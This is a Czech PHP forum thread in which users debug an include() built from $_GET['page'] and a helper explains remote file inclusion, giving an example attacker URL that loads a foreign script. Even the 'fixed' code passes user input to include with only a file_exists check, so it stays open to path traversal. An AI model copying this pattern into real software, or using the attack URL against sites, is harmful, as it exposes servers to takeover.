Autor Zpráva
ralfz
Profil *
Ahoj, prave delam novy web, stary me nekdo smazal kvuli nebezpecne inclusi.

Chtel bych to ted mit dobre bezpecne, nasel jsem doporuceni na tento kod:

include './'.$_GET['page'].'.php';

Na web jsem si to upravil takto:

<?php
if (file_exists('./'.$_GET['page'].'.txt'))
include './'.$_GET['page'].'.txt';
else
include "neco.txt";
?>

Jenomze tento kod nefunguje, vypisuje mi toto:

Warning: include() [function.include]: Unable to access ./.txt in /home/free/ezin.cz/r/ralfz/root/www/index.php on line 12

Warning: include(./.txt) [function.include]: failed to open stream: No such file or directory in /home/free/ezin.cz/r/ralfz/root/www/index.php on line 12

Warning: include() [function.include]: Failed opening './.txt' for inclusion (include_path='/usr/share/php/smarty/libs:/usr/share/fpdf:/usr/share/p hp/:.') in /home/free/ezin.cz/r/ralfz/root/www/index.php on line 12

Muzete mi nekdo poradit, co s tim? Diky moc
Alphard
Profil
...Unable to access ./.txt in /home/free...
$_GET['page'] je prázdná, další warningy jsou jen důsledky této chyby
ralfz
Profil *
jenze kdyz je page prazdna, tak neni splnena podminka file_exist a ma se includovat neco.txt ne?
Alphard
Profil
ralfz
pravda, ze zvyku jsem vysvětloval chybovou hlášku, toto mi uniklo
nicméně, ta chybová hláška mluví jasně, snažíte se includovat .txt, což je divné, nemohu najít chybu, zkusil jsem i váš script a kromě předpokládaného Undefined index: page in funguje
skutečně tam nemáte nějaký jiný kód? přesně tento?
zkuste tohle:

<?php 
if (isset ($_GET['page']) && file_exists('./'.$_GET['page'].'.txt')) 
include './'.$_GET['page'].'.txt'; 
else 
include "neco.txt"; 
?>


jediná věc, která mě napadá, je, že tam existuje soubor .txt, ale s takovými právy, že není možné ho includovat
ralfz
Profil *
diky za pomoc, ten vas kod bezi jak ma
Alphard
Profil
diky za pomoc, ten vas kod bezi jak ma
jak se to vezme, pokud je problém s file_exists(), tak při podstrčení špatné hodnoty do $page může problém znovu vyvstat a možná i ohrozit bezpečnost, v každém případě doporučuji hledat příčinu
lama na kvadrát
Profil *
Dobrý den, mohu se zeptat v čem je funkce include nebezpečná? Chtěl jsem použít na mých jednoduchých stránkách
[code]<html>
...
<?php include ("soubor") ?>
...
</html>[/code]
pro vkládání hlavičky, menu a patičky, a teď čtu, že se to má dělat jinak a ne dle návodu na JPW - skládání stránky z kousků. Díky za objasnění.
Alphard
Profil
include není až tak funkce, ale o to teď nejde
samo o sobě nebezpečné není, ale nebezpeční jsou programátoři :-)

includování hlavičky stylem include "head.html"; je bezpečné, protože je pevně napsaná (naše) stránka
problém nastává při includování těla neošetřeným vstupem
include $_GET['page'];

zde nemáme kontrolu nad includovaným souborem, útočník může zavolat nase-stranka.cz?page=http://utocnikova-stranka.com/prevezmi_kontrolu.t xt
pokud není zakázané allow_url_fopen, includuje se cizí script a útočník si na našem webu může dělat cokoliv

Vaše odpověď

Mohlo by se hodit


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm:

0